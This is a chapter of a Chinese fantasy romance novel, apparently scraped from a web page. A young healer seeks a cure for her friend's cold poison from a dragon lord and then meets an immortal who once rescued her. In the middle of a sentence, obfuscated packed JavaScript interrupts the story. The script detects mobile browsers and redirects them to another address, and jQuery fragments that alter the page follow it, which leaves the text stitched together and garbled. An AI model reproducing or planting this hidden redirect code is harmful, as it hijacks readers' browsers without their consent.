沈月凝在阮庭的引荐之下,来到神君钓鱼的地方,待他们来到瑶池最隐蔽处时,便见一个穿着粗布麻衣满是银发的老头正往水里扔鱼钩。
阮庭示意她等待,然后故意咳嗽一声,缓缓向他走去。
她站在不远处,见沧溟神君的背影有些奇怪,他完全不像是高高在上的龙族之首,倒像是个退休修身养性的寻常老头。只见阮庭拿起他的空桶笑得前仰后合,他的行为引得老头不悦,拿起鱼钩便向他追去。
“沧溟神君,这鱼可不是这么钓的,你应该身体坐直,手臂自然前伸持竿,”沈月凝适时开口,边讲解边熟练向他靠近。
他们二人循着声音向她望过来,她接过鱼竿,熟练往水里一抛,而后向他展示着正确的姿势。“不能急,得慢慢来。”
沧溟神君望着甚是专来的她,顿时兴致勃勃,“小姑娘,你这钓鱼手法好专业。”
阮庭暗暗向她伸出大拇指,神色渐渐放松下来,“那什么,神君,在下给您带来个好师父,小的就不能陪您了。”
她则高傲扬起下巴笑笑以示回应。
沧溟神君倒痛快,急忙向他摆手,“快走,快走,不要耽误鱼儿上钩。”
阮庭刚走两步,又调皮地拿起空桶,“神君,既然已有师父,再钓不上来可真就说不过去喽。”
沧溟神君摸着自己白花花的胡子,兴致盎然。“不会,不会,你快去办正事,今晚为师烧鱼给你吃。”
阮庭见此宠溺一笑,无奈摇头后缓缓离开。
神君目不转睛盯着鱼鳔,没一会儿便见鱼竿微微颤动,她猛然一提,一尾黑色大锦鲤便摇摆着尾巴来回扑腾。沧溟神君见此,顿时喜笑颜开,往桶里装些水便把鱼放进去。
沈月凝又把杆子甩进河里,“神君,你可别小看我,在我很小的时候,便去河里捞鱼摸虾,没办法要养活自己嘛,长大后便再没机会抓鱼,我空有一身本领没处施展,今日真是碰巧,见到您老竟然还用得上呢。”
沧溟神君嘿嘿一笑,“姑娘,您找我这个糟老头有何事?”
她仔细收着鱼竿,别过头去望着他:“神君,小女有位朋友身中寒毒,如今已深入骨髓,再解不开毒他小命要没,这不寻到这里来见您,寻找解毒的方法。”
沧溟神君坐在鱼桶旁逗弄着里面的大黑鱼,乐不可支:“姑娘,寒毒确实是我龙族研究出来的,但因此丧命老夫可是头一回听说。”
“他这个寒毒发作没有规律,只要运用灵力,毒素会愈发渗进骨髓。”沈月凝见鱼竿又一沉,急忙收杆,“神君,神君,快,大鱼,又抓到大鱼啦。”
他听后又手忙脚乱地站起身来,努力抓住乱晃的杆子,望着活蹦乱跳的鱼嬉笑颜开。
“姑娘,你可真厉害,日后有机会我们成钓友吧,”沧溟神君不住点头。
“当然好啊,不过神君,那寒毒既然不致命,为何我那朋友时不时就会发作,而且每次发作,盖五层被子仍然冷到发抖,嘴唇变紫,脸色苍白,每发作一次毒素就会更加深入骨髓伤及五脏六腑。”她醉翁之意不在酒,边钓鱼边引导神君说出解毒方法。
沧溟神君小心翼翼摘下鱼钩,又把一条小红鱼放进桶里,“姑娘,听你的话,老夫觉得这寒毒定是被人作过手脚。”
沈月凝顿时恍然大悟,怪不得镇上的长老,和阮庭神君都说过同样的话,寒毒并不会致命,这样看来是有人故意陷害他呢。
“姑娘,你说的那个朋友是不是男人。”神君云淡风轻的脸上隐含笑意,“你对身中寒毒之人如此上心,看来他对你来说很重要喽。”
沈月凝不好意思挠挠头,“神君,让您见笑啦,他确实对我来说很重要,小女是个江湖游医,虽然医术没有仙界医师高明,但也是有医德的,遇见棘手的病不会放任不管,都会耐心找到治疗方法,我的祖母曾经这样嘱咐过的。”
沧溟神君摸着胡子,不住认同点头。
“不错,不管是高高在上的医师,还是江湖郎中,既然选择治病救人,就不要拿病人当儿戏,这一点你做得很好。”
“这么说你来自人族,住在山脚下吗?”
“对,神君,小女住在星辰山脚下的青石镇,镇上的百姓安居乐业,那里不仅有大片的果园,里面结满鲜桃,苹果,还有梨子,还有大的集市,每逢有大的节日热闹着呢。”沈月凝见他人族甚是感兴趣,话不由自主便多起来。“神君,您若想体会下人间生活,来溪月居找我便行啦。”她说起青石镇眼里满是骄傲。
好啦,好啦,时间不早,姑娘该下山去了。沧溟神君拍拍屁股尘土,缓缓站起身,拎着鱼桶,便要与她告别。
她略有不舍地望着眼前的沧溟老头,依旧没有玩尽兴,最主要的是究竟是何人因何要害墨宸,要置他于死地,她是一点头绪都没。
“不怕神君笑话,小女一介平凡女子,没有任何灵力,对于仙界和妖族又甚不了解,也不知这寒毒加何物会让中毒者生不如死。”沈月凝帮他把鱼竿细心收起,忍不住话又多起来。
沧溟神君拿着东西见她心事重重,凑到她面前,“姑娘,老夫提醒你一句,要想找到解药并非只有仙妖两界,你那个朋友遇到你也真是幸运。”他说完便又转身离开。
沈月凝望着他那渐渐远去的背影,心里却空落落的。
也不知神君是何意?她撇撇嘴悻悻离去。
墨宸寻找几个地方都没有遇见她身影,为避免那些聒噪的女仙官纠缠,他故意绕过大路偏向小路走。太阳快落山,如果不能尽早回去,住在山里遇见飞禽猛兽的话只能认倒霉。他这样想着,更是加快脚步走到假山后。
她从树上摘个果子大口啃起来,边啃边从地上捡起树枝甩来甩去,渐渐向龙族大门走去,边走边留意着墨宸的身影。
这星辰山顶真是仙境,怪不得三界心之向往。
她踏上玉石台阶,走到偌大的花园中,周围白气缭绕仿佛在梦境一般。沈月凝摘下怀里的葫芦往嘴里猛灌,好家伙连这里的水都这么好喝,果子也比青石镇的好吃,她大步向前,在园中许久才发已经迷路。
太阳很快落下去,园中所到之处皆是美景,旁边开着的芍药牡丹争奇斗艳,她忍不住摘下一朵别在耳朵上,心情愉悦继续向前蹦跳着跑去。也不知墨宸跑去哪里,这么久都没发现他的身影。如果再见不到他,他们二人回去只能夜宿山中。
她边走边来回搜寻着他的身影,只听“嘭”地一声,她突然撞倒一人,待她抬眸一看,顿时愣在原地。
只见那魂牵梦绕的人正深情望着自己,她脑袋顿时一片空白,甚至都忘记该如何呼吸。她木讷地盯着他,支支吾吾不知该如何开口,这么多年过去,也不知他还记不记得自己,脑海中演练千遍万遍见面后的问候,此时却一个字都说不出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064811|195124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只能傻傻站在原地。
疏白上仙依旧身形清瘦挺拔,目光温柔缱绻,瞳色浅淡,似琉璃浸了春水,“你可还记得我?”
沈月凝张着嘴,下意识点点,却依旧不知该说些什么。
“你来这里是来找我的?”疏白嘴角露出一抹淡淡的笑,让人甚是心安。
她急忙点点头,突然像是想起什么,又赶紧摇摇头。
疏白见她神色紧张,故作轻松地缓解尴尬:“说来也是可笑,我们都已经再次见面,我却还不知晓你的名字。”他脸带笑意目不转睛盯着她。
沈月凝脸蛋红得发烫,把挡在眼前的刘海儿拢在耳后,而后指尖绞着衣角身体轻晃,眼睛盯着鞋尖不敢看他。
“我叫凝儿。”她的声音很轻,轻到他需要靠近她一点才能听清。
“凝儿,真是好名字,你来这里跋山涉水路途遥远定是很疲惫,太阳快要落山,来不及赶回去,先去我宫殿休息,明日一早我送你下山。”
疏白上仙微微笑着。
沈月凝有些不知所措,她紧张地搓着手不敢看他的眼睛,就连话都说不利索,嗓子像是被堵住一般。
“莫怕有我在,仙官侍女们不会欺负你的。”
夜色正浓,她现在又找不到墨宸,孤身一人只好默默点头。
“跟随我来。”他礼貌伸出手指引她向宫殿走去。
沈月凝心里七上八下的,她默默跟在他的身后,不敢说一句话。
疏白利用灵力催动脚下祥云,不多时,他们便来到门口。这里离龙族沧溟神君的住处不远,甚至抬眼就能见到云层之中的大殿。他引导她来到殿内,富丽堂皇的宫殿像个水晶宫,里面的装饰甚是别致。
她一眼看到挂在毛笔架上的红珊瑚手串,瞬间愣在原地。原来那日上山采药,手串遗失在星辰山上被他捡到。沈月凝脸上露出羞涩的笑,那日如果不是被他所救,她小命早没了。看来疏白上仙记得自己嘛,想到这里她脸色微微发烫。
“你也知晓,我龙族本应住在海底,谁曾想满是汪洋的海水经过世间沧桑千年流转,如今成了这副模样。”疏白上仙将她引至茶桌后,沏茶之时话便多起来。
“自从上次救过你之后,我们便再没见过,在人族的日子可还好?”
沈月凝拿起茶杯,品尝过后点头尬笑,“挺好的,日子还过得去。”她在这种环境之下,浑身有些不自在。
“疏白上仙,我的朋友还在门外等我,明日不用麻烦,我现在出去找他。”她站起身便欲离开。
疏白见她要走,急忙放下茶壶,“你若不放心,我去陪你找他,这里山高路远,有陌生面孔外面的侍卫定是能发现的。”
沈月凝急忙摆手。
“走吧,我陪你,天色已晚,你一个姑娘家单独外出多少有些危险。”疏白急忙起身,礼貌拦住她,她见此也只能点头。
他们二人再次踏着祥云向龙族大门而去,期间他们相对无言,为打破尴尬,疏白上仙试着开口。
“你的那位朋友应该是个男人吧,你那么在意他?”
疏白自从遇见她,便发现她一直是一副心不在焉的模样,对龙族美景丝毫没有兴趣。
“是。”她略有羞涩低下头去。
疏白听后,脸色一僵又继续问下去,“他姓甚名谁?不知为何带他来龙族?”
“墨宸!”